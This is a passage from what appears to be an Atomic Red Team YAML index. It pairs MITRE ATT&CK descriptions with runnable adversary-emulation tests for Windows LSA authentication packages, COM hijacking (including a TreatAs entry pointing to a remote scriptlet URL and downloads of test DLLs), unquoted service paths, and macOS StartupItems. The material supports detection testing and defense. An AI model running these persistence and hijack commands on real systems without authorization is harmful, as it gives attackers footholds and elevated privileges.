          Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.
        url: https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html
      - source_name: Death by 1000 installers; it's all broken!
        description: Patrick Wardle. (2017). Death by 1000 installers; it's all broken!.
          Retrieved August 8, 2019.
        url: https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8
      - source_name: OSX Coldroot RAT
        description: Patrick Wardle. (2018, February 17). Tearing Apart the Undetected
          (OSX)Coldroot RAT. Retrieved August 8, 2019.
        url: https://objective-see.com/blog/blog_0x2A.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1547.002:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec
      created: '2020-01-24T14:54:42.757Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1547.002
        url: https://attack.mitre.org/techniques/T1547/002
      - source_name: Graeber 2014
        url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
          Provider DLLs. Retrieved March 1, 2017.
      - source_name: Microsoft Configure LSA
        url: https://technet.microsoft.com/en-us/library/dn408187.aspx
        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
          Retrieved June 24, 2015.
      - source_name: MSDN Authentication Packages
        url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
          2017.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)

        Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=&lt;target binary&gt;</code>. The binary will then be executed by the system when the authentication packages are loaded.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Authentication Package
      x_mitre_detection: 'Monitor the Registry for changes to the LSA Registry keys.
        Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
        R2 may generate events when unsigned DLLs try to load into the LSA by setting
        the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
        File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber
        2014) (Citation: Microsoft Configure LSA)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.002
    atomic_tests:
    - name: Authentication Package
      auto_generated_guid: be2590e8-4ac3-47ac-b4b5-945820f2fbe9
      description: |
        Establishes persistence using a custom authentication package for the Local Security Authority (LSA).
        After a reboot, Notepad.exe will be executed as child process of lsass.exe.
        Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package
        [Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item "$PathToAtomicsFolder\T1547.002\bin\package.dll" C:\Windows\System32\
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0package.dll" /f
        cleanup_command: |
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0" /f
          rm -force C:\windows\system32\package.dll
        name: powershell
        elevation_required: true
  T1546.015:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Event Triggered Execution: Component Object Model Hijacking'
      description: "Adversaries may establish persistence by executing malicious content
        triggered by hijacked references to Component Object Model (COM) objects.
        COM is a system within Windows to enable interaction between software components
        through the operating system.(Citation: Microsoft Component Object Model)
        \ References to various COM objects are stored in the Registry. \n\nAdversaries
        can use the COM system to insert malicious code that can be executed in place
        of legitimate software through hijacking the COM references and relationships
        as a means for persistence. Hijacking a COM object requires a change in the
        Registry to replace a reference to a legitimate system component which may
        cause that component to not work when executed. When that system component
        is executed through normal system operation the adversary's code will be executed
        instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects
        that are used frequently enough to maintain a consistent level of persistence,
        but are unlikely to break noticeable functionality within the system as to
        avoid system instability that could lead to detection. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Elastic
      x_mitre_deprecated: false
      x_mitre_detection: "There are opportunities to detect COM hijacking by searching
        for Registry references that have been replaced and through Registry operations
        (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary
        paths with unknown paths or otherwise malicious content. Even though some
        third-party applications define user COM objects, the presence of objects
        within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and
        should be investigated since user objects will be loaded prior to machine
        objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic
        COM Hijacking) Registry entries for existing COM objects may change infrequently.
        When an entry with a known good path and binary is replaced or changed to
        an unusual value to point to an unknown binary in a new location, then it
        may indicate suspicious behavior and should be investigated.  \n\nLikewise,
        if software DLL loads are collected and analyzed, any unusual DLL load that
        can be correlated with a COM object Registry modification may indicate COM
        hijacking has been performed. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae
      created: '2020-03-16T14:12:47.923Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/015
        external_id: T1546.015
      - source_name: Elastic COM Hijacking
        description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting
          Persistence & Evasion with the COM. Retrieved September 15, 2016.'
        url: https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com
      - source_name: GDATA COM Hijacking
        description: 'G DATA. (2014, October). COM Object hijacking: the discreet
          way of persistence. Retrieved August 13, 2016.'
        url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
      - source_name: Microsoft Component Object Model
        description: Microsoft. (n.d.). The Component Object Model. Retrieved August
          18, 2016.
        url: https://msdn.microsoft.com/library/ms694363.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.015
    atomic_tests:
    - name: COM Hijacking - InprocServer32
      auto_generated_guid: 48117158-d7be-441b-bc6a-d9e36e47b52b
      description: |-
        This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.

        Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
      supported_platforms:
      - windows
      input_arguments:
        clsid_threading:
          description: Threading Model
          type: string
          default: Apartment
        dllpath:
          description: Path to the DLL.
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\AtomicTest.dll
        clsid:
          description: Class ID to hijack.
          type: string
          default: "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}"
        clsid_description:
          description: Description for CLSID
          type: string
          default: MSAA AccPropServices
      dependency_executor_name: powershell
      dependencies:
      - description: DLL For testing
        prereq_command: if (Test-Path "#{dllpath}") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll" -OutFile "#{dllpath}"
      executor:
        command: |-
          New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
          New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dllpath}"
          New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
          Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{clsid}'
        cleanup_command: Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}'
          -Recurse -ErrorAction Ignore
        name: powershell
    - name: Powershell Execute COM Object
      auto_generated_guid: 752191b1-7c71-445c-9dbe-21bb031b18eb
      description: |-
        Use the PowerShell to execute COM CLSID object.
        Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
      supported_platforms:
      - windows
      executor:
        command: |
          $o= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39"))
          $item = $o.Item()
          $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
        cleanup_command: 'Get-Process -Name "*calc" | Stop-Process

          '
        name: powershell
    - name: COM Hijacking with RunDLL32 (Local Server Switch)
      auto_generated_guid: 123520cc-e998-471b-a920-bd28e3feafa0
      description: "This test uses PowerShell to hijack a reference to a Component
        Object Model by creating registry values under InprocServer32 key in the HKCU
        hive then calling the Class ID to be executed via \"rundll32.exe -localserver
        [clsid]\". \nThis method is generally used as an alternative to 'rundll32.exe
        -sta [clsid]' to execute dll's while evading detection. \nReference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/\nUpon
        successful execution of this test with the default options, whenever certain
        apps are opened (for example, Notepad), a calculator window will also be opened. "
      supported_platforms:
      - windows
      input_arguments:
        clsid_threading:
          description: Threading Model
          type: string
          default: Both
        dll_path:
          description: Path to the DLL.
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\T1546.015_calc.dll
        clsid:
          description: Class ID to hijack.
          type: string
          default: "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}"
        clsid_description:
          description: Description for CLSID
          type: string
          default: MSAA AccPropServices
      dependency_executor_name: powershell
      dependencies:
      - description: DLL For testing
        prereq_command: if (Test-Path "#{dll_path}") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll" -OutFile "#{dll_path}"
      executor:
        command: |-
          New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
          New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dll_path}"
          New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
          Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-localserver #{clsid}'
        cleanup_command: Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}'
          -Recurse -ErrorAction Ignore
        name: powershell
    - name: COM hijacking via TreatAs
      auto_generated_guid: 33eacead-f117-4863-8eb0-5c6304fbfaa9
      description: |-
        This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute.
        Then, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The
        test is validated by running 'rundll32.exe -sta "AtomicTest"' to avoid logging out.

        References:

        https://youtu.be/3gz1QmiMhss?t=1251

        https://github.com/enigma0x3/windows-operating-system-archaeology
      supported_platforms:
      - windows
      executor:
        command: "reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /ve
          /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\"
          /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\\CLSID\"
          /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add
          \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\\CLSID\" /ve /T
          REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\"
          /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\"
          /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\"
          /ve /T REG_SZ /d \"C:\\WINDOWS\\system32\\scrobj.dll\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\"
          /v \"ThreadingModel\" /T REG_SZ /d \"Apartment\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ProgID\"
          /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ScriptletURL\"
          /ve /T REG_SZ /d \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct\"
          /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\VersionIndependentProgID\"
          /ve /T REG_SZ /d \"AtomicTest\" /f\n\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\"
          /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\TreatAs\"
          /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\n\nrundll32.exe
          -sta \"AtomicTest\" "
        cleanup_command: |-
          reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /f
          reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f
          reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f
        name: powershell
  T1574.009:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Hijack Execution Flow: Path Interception by Unquoted Path'
      description: |-
        Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

        Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

        This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b
      created: '2020-03-13T13:51:58.519Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/009
        external_id: T1574.009
      - source_name: Windows Privilege Escalation Guide
        description: absolomb. (2018, January 26). Windows Privilege Escalation Guide.
          Retrieved August 10, 2018.
        url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
      - source_name: Windows Unquoted Services
        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
          Services. Retrieved August 10, 2018.
        url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
      - source_name: Help eliminate unquoted path
        description: Mark Baggett. (2012, November 8). Help eliminate unquoted path
          vulnerabilities. Retrieved November 8, 2012.
        url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
      - source_name: Microsoft CurrentControlSet Services
        description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services
          Registry Tree. Retrieved March 16, 2020.
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1574.009
    atomic_tests:
    - name: Execution of program.exe as service with unquoted service path
      auto_generated_guid: 2770dea7-c50f-457b-84c4-c40a47460d9f
      description: |
        When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability
        known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
        In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe.
      supported_platforms:
      - windows
      input_arguments:
        service_executable:
          description: Path of the executable used for the service and as the hijacked
            program.exe
          type: path
          default: PathToAtomicsFolder\T1574.009\bin\WindowsServiceExample.exe
      executor:
        command: |
          copy "#{service_executable}" "C:\Program Files\windows_service.exe"
          copy "#{service_executable}" "C:\program.exe"
          sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto
          sc start "Example Service"
        cleanup_command: |
          sc stop "Example Service" >nul 2>&1
          sc delete "Example Service" >nul 2>&1
          del "C:\Program Files\windows_service.exe" >nul 2>&1
          del "C:\program.exe" >nul 2>&1
          del "C:\Time.log" >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1037.005:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f
      created: '2020-01-15T18:00:33.603Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1037.005
        url: https://attack.mitre.org/techniques/T1037/005
      - source_name: Startup Items
        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
          2017.
      - source_name: Methods of Mac Malware Persistence
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may use startup items automatically executed at boot
        initialization to establish persistence. Startup items execute during the
        final phase of the boot process and contain shell scripts or other executable
        files along with configuration information used by the system to determine
        the execution order for all startup items.(Citation: Startup Items)\n\nThis
        is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)),
        and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t
        guaranteed to exist on the system by default, but does appear to exist by
        default on macOS Sierra. A startup item is a directory whose executable and
        configuration property list (plist), <code>StartupParameters.plist</code>,
        reside in the top-level directory. \n\nAn adversary can create the appropriate
        folders/files in the StartupItems directory to register their own persistence
        mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since
        StartupItems run during the bootup phase of macOS, they will run as the elevated
        root user."
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Boot or Logon Initialization Scripts: Startup Items'
      x_mitre_detection: |-
        The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.

        Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1037.005
    atomic_tests:
    - name: Add file to Local Library StartupItems
      auto_generated_guid: 134627c3-75db-410e-bff8-7a920075f198
      description: |
        Modify or create an file in /Library/StartupItems
        [Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)
      supported_platforms:
      - macos
      executor:
        command: 'sudo touch /Library/StartupItems/EvilStartup.plist

          '
        cleanup_command: 'sudo rm /Library/StartupItems/EvilStartup.plist

          '
        name: sh
        elevation_required: true
    - name: Add launch script to launch daemon
      auto_generated_guid: fc369906-90c7-4a15-86fd-d37da624dde6
      description: |
        Add launch script to /Library/StartupItems to launch agent
        [Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)
      supported_platforms:
      - macos
      input_arguments:
        path_malicious_script:
          description: Name of script to store in cron folder
          type: string
          default: "$PathToAtomicsFolder/T1037.005/src/T1037.005_daemon.sh"
        path_malicious_plist:
          description: Name of file to store in /tmp
          type: string
          default: "$PathToAtomicsFolder/T1037.005/src/T1037_005_daemon.plist"
        path_startup_params:
          description: Name of plist with startup params
          type: string
          default: "$PathToAtomicsFolder/T1037.005/src/StartupParameters.plist"
      dependency_executor_name: bash
      dependencies:
      - description: "/Library/StartupItems must exist\n"
        prereq_command: 'if [ ! -d /Library/StartupItems ]; then mkdir /Library/StartupItems;
          exit 0; fi;

          '
        get_prereq_command: 'echo "Failed to create /Library/StartupItems"; exit 1;

          '
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

          '
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and
          try again."; exit 1;

          '
      - description: 'The startup script must exist on disk at specified location
          (#{path_malicious_script})

          '
        prereq_command: 'if [ -f #{path_malicious_script} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The startup script doesn''t exist. Check the path
          and try again."; exit 1;

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist
          sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh
          sudo cp #{path_malicious_plist} /tmp/T1037_005_daemon.plist
          sudo /Library/StartupItems/atomic.sh start
        cleanup_command: |
          sudo launchctl unload /tmp/T1037_005_daemon.plist
          sudo rm /tmp/T1037_005_daemon.plist
          sudo rm /Library/StartupItems/atomic.sh
          sudo rm /Library/StartupItems/StartupParameters.plist
          sudo rm /tmp/T1037_005_daemon.txt
    - name: Add launch script to launch agent
      auto_generated_guid: 10cf5bec-49dd-4ebf-8077-8f47e420096f
      description: |
        Add launch script to /Library/StartupItems to launch agent
        [Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)
      supported_platforms:
      - macos
      input_arguments:
        path_malicious_script:
          description: Name of script to store in cron folder
          type: string
          default: "$PathToAtomicsFolder/T1037.005/src/T1037.005_agent.sh"
        path_malicious_plist:
          description: Name of file to store in /tmp
          type: string
          default: "$PathToAtomicsFolder/T1037.005/src/T1037_005_agent.plist"
        path_startup_params:
          description: Name of plist with startup params
          type: string
          default: "$PathToAtomicsFolder/T1037.005/src/StartupParameters.plist"
      dependency_executor_name: bash
      dependencies:
      - description: "/Library/StartupItems must exist\n"
        prereq_command: 'if [ ! -d /Library/StartupItems ]; then mkdir /Library/StartupItems;
          exit 0; fi;

          '
        get_prereq_command: 'echo "Failed to create /Library/StartupItems"; exit 1;

          '
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

          '
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and
          try again."; exit 1;

          '
      - description: 'The startup script must exist on disk at specified location
          (#{path_malicious_script})

          '
        prereq_command: 'if [ -f #{path_malicious_script} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The startup script doesn''t exist. Check the path
          and try again."; exit 1;

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist
          sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh
          sudo cp #{path_malicious_plist} /tmp/T1037_005_agent.plist
          /Library/StartupItems/atomic.sh start
        cleanup_command: |-
          sudo launchctl unload /tmp/T1037_005_agent.plist
          sudo rm /tmp/T1037_005_agent.plist
          sudo rm /Library/StartupItems/atomic.sh
          sudo rm /Library/StartupItems/StartupParameters.plist
          sudo rm /tmp/T1037_005_agent.txt
  T1078.002:
    technique:
      modified: '2023-08-14T14:55:07.432Z'
      name: Domain Accounts
      description: |-
        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      x_mitre_deprecated: false
      x_mitre_detection: "Configure robust, consistent account activity audit policies
        across the enterprise and with externally accessible services.(Citation: TechNet
        Audit Policy) Look for suspicious account behavior across systems that share
        accounts, either user, admin, or service accounts. Examples: one account logged
        into multiple systems simultaneously; multiple accounts logged into the same
        machine simultaneously; accounts logged in at odd times or outside of business
        hours. Activity may be from interactive login sessions or process ownership
        from accounts being used to execute binaries on a remote system as a particular
        account. Correlate other security systems with login information (e.g., a
        user has an active login session but has not entered the building or does
        not have VPN access).\n\nOn Linux, check logs and other artifacts created
        by use of domain authentication services, such as the System Security Services
        Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain
        accounts to detect accounts that may have been created by an adversary for
        persistence."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.4'
